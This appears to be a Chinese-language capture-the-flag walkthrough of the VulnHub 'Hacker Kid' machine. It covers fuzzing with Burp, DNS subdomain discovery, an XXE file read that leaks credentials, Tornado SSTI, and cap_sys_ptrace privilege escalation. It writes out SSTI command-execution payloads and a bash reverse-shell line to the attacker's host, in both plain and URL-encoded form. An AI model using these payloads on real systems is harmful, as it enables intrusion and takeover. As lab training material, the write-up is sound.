靶机下载地址: https://www.vulnhub.com/entry/hacker-kid-101,719/
教程链接地址: https://blog.csdn.net/weixin_44107836/article/details/119422810
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 HACKERKID:桥接于 192.168.31.1 的网卡,ip 未知
1 )设置免密使用 sudo
1 | 查看 sudoers |

2 )确定靶机 ip 地址
sudo arp-sacn -l

-> 靶机 ip:192.168.31.11
3 )确认靶机 ip 开放的端口信息
sudo nmap -p 192.168.31.11

-> 靶机开放端口 53,80,9999
# Burp 重发数据包
打开 http://192.168.31.11 进行信息收集

右键检查网页的源代码,发现提示,存在 page_no 的 GET 参数,即存在 http://192.168.31.11?page_no=xx 的一个页面,可以通过 py 来编写 1-100 的自然数,并且用 burp 进行批量访问

编写 python 脚本,用于生成 1-100 个数字,每行有 1 个数字

通过 tail 和 head 命令来检查所生成的文件是否正确

用浏览器拦截数据发送至 burp

将数据发送到 indruder 模式,在 page_no= 的位置设置字典,字典为前面 py 生成或者可以用 burp 自带的生成 1-100 的间隔为 1 的爆破字典

-> 将接收包进行长度的排序得到一个不一样的长度,对应的 url 地址是 http://192.168.31.11?page_no=21

# 修改本地 hosts
得到提示,有一些子域名被创建出来了,并且其中之一是 hackers.blackhat.local

修改本地 hosts 文件,将此域名的 ip 解析指向为靶机地址

打开 http://hackers.blackhat.local 进行信息收集

提示接下来的思路是搜集到更多的子域名信息,并且这些子域名解析后的地址指向为靶机的 ip 地址,通过 dig 来指定 DNS 服务器搜集 hackers.blackhat.local 信息
# dig 指定 DNS 解析
Linux 下解析域名除了使用 nslookup 之外,开可以使用 dig 命令来解析域名,dig 命令可以得到更多的域名信息。dig 命令主要用来从 DNS 域名服务器查询主机地址信息。dig 的全称是 (domain information groper) 域信息筛选器。它是一个用来灵活探测 DNS 的工具。
dig hackers.blackhat.local @192.168.31.11
从指定的 DNS 服务器上进行查询,(从默认的 DNS 服务器上获得的结果可能不准确)。指定 DNS 服务器的方式为使用 @ 符号,如果不指定 DNS 服务器,dig 会依次使用 /etc/resolv.conf 里的地址作为 DNS 服务器:

得到了一个新的子域名,将 dig 的结果添加到本地 hosts 文件中

访问 http://hackerid.blackhat.local 进行信息收集

# xxe 读取敏感信息
将所有的信息都填写上,进行数据包的抓取,判断数据是怎么进入后台的,是否存在相应的漏洞可以进行利用

通过 burp 抓取数据,发现数据是以 xml 的形式传播的,可以测试 xxe 漏洞

通过 xxe 漏洞进行读取 /etc/passwd
1 | payload |

-> 读取成功,并且找到了相关用户,如 saket,接下来尝试读取各种敏感文件。利用 php 为协议:
1 | 完整的payload是 |

出现了一串 base64 加密的字符,利用 base -d 解密后发现是用户名和密码
cat bashrc.txt| base64 -d

-> username=“admin” password=“Saket!#$%@!!”
# 用户名喷洒
这是一个 ssh 登陆或者网站的后台密码,前面端口扫描时有个 9999 端口没有收集信息,我们进到这个页面看看这个 9999 端口是什么

尝试用破解出来的账户密码登陆时发现登陆失败

通过前面收集到的信息的总结,知道 /home 目录下有 saket 的用户,并且密码中也有 saket 的存在,尝试将用户名换为 saket 进行登陆

—> 成功拿到后台权限
# SSTI 模板注入
登陆后台成功,提示需要一个 name 的参数

将 /name=1 的参数输入,在页面上出现了回显

接下来目标转向如何利用这个漏洞,用 nmap 扫描这个端口处是否存在框架

扫描到的结果是 torando 框架

发现框架为 python 框架,既然是 py 的,就可以尝试一下 SSTI 模板注入
关于 SSTI 模板注入,在 hacktrick 上有很详细的说明:https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
SSTI 模板注入: http://192.168.31.60:9999/?name={{ 2 * 2 }}
页面回显为计算结果 4 ,表示此处确实存在 SSTI 模板注入

导入包 os,执行系统命令:
http://192.168.31.60:9999/?name={%%20import%20os%20%}{{os.system(%27id%)27)}}

虽然当前没有回显出 id 命令执行后的结果,但是却也没有报错
# SSTI 反弹绕过
尝试用此处的 SSTI 模板进行反弹 shell
http://192.168.31.60:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.31.135/4446 >&1"')}}

反弹 shell 时报错,接下来用编码的方式绕过这种检查
采用 url 编码的方式,在线地址为 http://www.jsons.cn/urlencode
将 payload 进行编码后,拼接到原 url 后面,访问页面
http://192.168.31.11:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.31.135%2F4444%200%3E%261%22%27)%7D%7D

与此同时,监听对应的端口,等到 shell 的反弹

-> 得到 shell
# 弹出标准 SHELL
1 | 美化得到的终端 |
1 | 或者使用 |

# linpeas 提权信息扫描
尝试用 linux 提权工具提权,提前在 kali 上准备好 linpeas.sh 并通过 py 开启简易 web

在靶机上下载 linpeas.sh 并加可执行权限

执行并开始扫描./linpeas.sh

发现了 python2.7 的权限设置错误

# cap_sys_ptrace 提权
关于 cap_sys_ptrace 提权的教程:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities
Capabilities 机制是在 Linux 内核 2.2 之后引入的,原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。如果 Capabilities 设置不正确,就会让攻击者有机可乘,实现权限提升。

保存 payload,并按 hacktrick 上的教程进行复现
利用参考中的 exp.py 文件,传入参数为选择的进程 id, 执行成功后会在靶机的 5600 端口开一个绑定 shell

1 | Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不一样的能力,每种能力表明必定的特权操做。 |

1 | 注入成功后即可获取到root权限的shell |

-> 成功拿到 root 权限